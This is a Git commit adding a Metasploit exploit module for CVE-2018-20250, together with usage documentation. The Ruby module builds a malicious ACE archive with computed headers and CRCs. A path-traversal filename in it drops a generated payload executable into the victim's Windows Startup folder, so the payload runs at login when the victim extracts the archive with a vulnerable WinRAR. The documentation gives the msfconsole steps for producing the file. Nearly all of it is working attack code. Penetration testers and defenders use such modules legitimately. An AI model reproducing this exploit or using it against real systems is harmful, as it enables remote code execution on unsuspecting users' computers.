Module for CVE-2018-20250 and documentation

master
Imran E. Dawoodjee 2019-04-16 02:21:25 +08:00
parent f41a90a582
commit 6c798221fb
No known key found for this signature in database
GPG Key ID: C624AF1BC0AFB44B
2 changed files with 220 additions and 0 deletions

View File

@ -0,0 +1,36 @@
## Introduction
From the CVE-2018-20250 NVD Page:
In WinRAR versions prior to and including 5.61, there is a path traversal vulnerability when crafting the filename field
of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination
(extraction) folder is ignored, thus treating the filename as an absolute path.
This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can
only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from
one folder within the user profile folder (e.g. Desktop or Downloads).
## Vulnerable Applications
- RARLAB WinRAR <= 5.61
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/fileformat/winrar_ace`
3. Do: `set FILENAME [FILENAME]`. Name is "msf.ace" by default
4. Do: `exploit`
5. **Verify** that a file is created (by default in "~/.msf4/local/")
## Options
### FILENAME
Filename to output
## Example
```
msf5 exploit(windows/fileformat/winrar_ace) > exploit
[+] msf.ace stored at /home/msfdev/.msf4/local/msf.ace
msf5 exploit(windows/fileformat/winrar_ace) >
```

View File

@ -0,0 +1,184 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
'Description' => %q{
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
field is manipulated with specific patterns, the destination (extraction) folder is
ignored, thus treating the filename as an absolute path. This module will attempt to
extract a payload to the startup folder of the current user. It is limited such that
we can only go back one folder. Therefore, for this exploit to work properly, the user
must extract the supplied RAR file from one folder within the user profile folder
(e.g. Desktop or Downloads).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nadav Grossman', # exploit discovery
'Imran E. Dawoodjee' # Metasploit module
],
'References' =>
[
['CVE', '2018-20250'],
['EDB', '46552'],
['BID', '106948'],
['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
['URL', 'https://apidoc.roe.ch/acefile/latest/'],
['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'RARLAB WinRAR <= 5.61', {} ]
],
'DisclosureDate' => 'Feb 05 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace'])
# allow operator to specify file to be extracted. WIP
# OptString.new('FILEPATH', [ true, 'The file to be extracted to Startup', ''])
])
end
def exploit
ace_header = ""
# All hex values are already in little endian.
# HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
ace_header << "AA"
# HEAD_SIZE: header size. \x31\x00 says 49.
ace_header << "\x31\x00"
# HEAD_TYPE: header type. Archive header is 0.
ace_header << "\x00"
# HEAD_FLAGS: header flags
ace_header << "\x00\x90"
# ACE magic
ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"
# VER_EXTRACT: version needed to extract archive
ace_header << "\x14"
# VER_CREATED: version used to create archive
ace_header << "\x14"
# HOST_CREATED: host OS for ACE used to create archive
ace_header << "\x02"
# VOLUME_NUM: which volume of a multi-volume archive?
ace_header << "\x00"
# TIME_CREATED: date and time in MS-DOS format
ace_header << "\x10\x18\x56\x4E"
# RESERVED1
ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"
# AV_SIZE: advert size
ace_header << "\x16"
# AV: advert which shows if registered/unregistered.
# Full advert says "*UNREGISTERED VERSION*"
ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"
# calculate the CRC32 of ACE header, and get the lower 2 bytes
ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)
ace_header_crc16 = ace_header_crc32[4, ace_header_crc32.length].to_i(base=16)
vprint_status("ACE header CRC16: 0x#{ace_header_crc16.to_s(16)}")
ace_header_crc16 = [ace_header_crc16].pack("v")
ace_header[0,2] = ace_header_crc16.to_s
#if datastore["FILEPATH"].nil?
# payload = generate_payload_exe
#else
# read user file to get payload
#end
# calculate the CRC32 of the payload
payload = generate_payload_exe
payload_crc32 = crc32(payload).to_i
vprint_status("Payload CRC32: 0x#{payload_crc32.to_s(16)}")
payload_crc32 = [payload_crc32].pack("V")
exe_filename = ""
# 72 characters
exe_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# 6 characters
exe_filename << rand_text_alpha(6)
# 4 characters
exe_filename << ".exe"
file_header = ""
# HEAD_CRC: Lower 2 bytes of CRC32 of 113 bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
file_header << "AA"
# HEAD_SIZE: file header size. \x00\x71 says 113.
file_header << "\x71\x00"
# HEAD_TYPE: header type is 1.
file_header << "\x01"
# HEAD_FLAGS: header flags. \x01\x80 is ADDFILE|SOLID
file_header << "\x01\x80"
# PACK_SIZE: size when packed
file_header << [payload.length].pack("V")
# ORIG_SIZE: original size. Same as PACK_SIZE if payload is binary. I am assuming binary here.
# Make it able to change (WIP) in case the operator wants to specify a custom payload to use
# which could be compressed
file_header << [payload.length].pack("V")
# FTIME: file date and time in MS-DOS format
file_header << "\x63\xB0\x55\x4E" ############
# file_header << "\xDE\xAD\xBE\xEF"
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
file_header << "\x00\x00\x00\x20"
# CRC32: CRC32 of the compressed file
file_header[23,27] = payload_crc32.to_s
# Compression type
file_header << "\x00"
# Compression quality
file_header << "\x03"
# Parameter for decompression
file_header << "\x0A\x00"
# RESERVED1
file_header << "\x54\x45"
# FNAME_SIZE: size of filename string. Will always be 82 characters for this exploit (72 + 6 + 4)
file_header << "\x52\x00"
# FNAME: filename string
file_header << exe_filename
# files stored in ACE archives each have their own header. For
# simplicity, these headers created for files in ACE archives will
# be referred to as "file headers".
# calculate the CRC32 of file header, and get the lower 2 bytes
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
file_header_crc16 = file_header_crc32[4, file_header_crc32.length].to_i(base=16)
vprint_status("File header CRC16: 0x#{file_header_crc16.to_s(16)}")
file_header_crc16 = [file_header_crc16].pack("v")
file_header[0,2] = file_header_crc16.to_s
ace_file = ""
ace_file << ace_header
ace_file << file_header
ace_file << payload
file_create(ace_file)
end
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
# The CRC implementation used in ACE does not take the last step in calculating CRC32
# That is, it does reverse the bits. Therefore, it can be easily calculated by taking
# the negative bitwise OR of the CRC and then subtracting one from it. This is due to
# the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
# applying a bitwise OR on an integer will produce its negative + 1.
-(~crc) - 1
end
end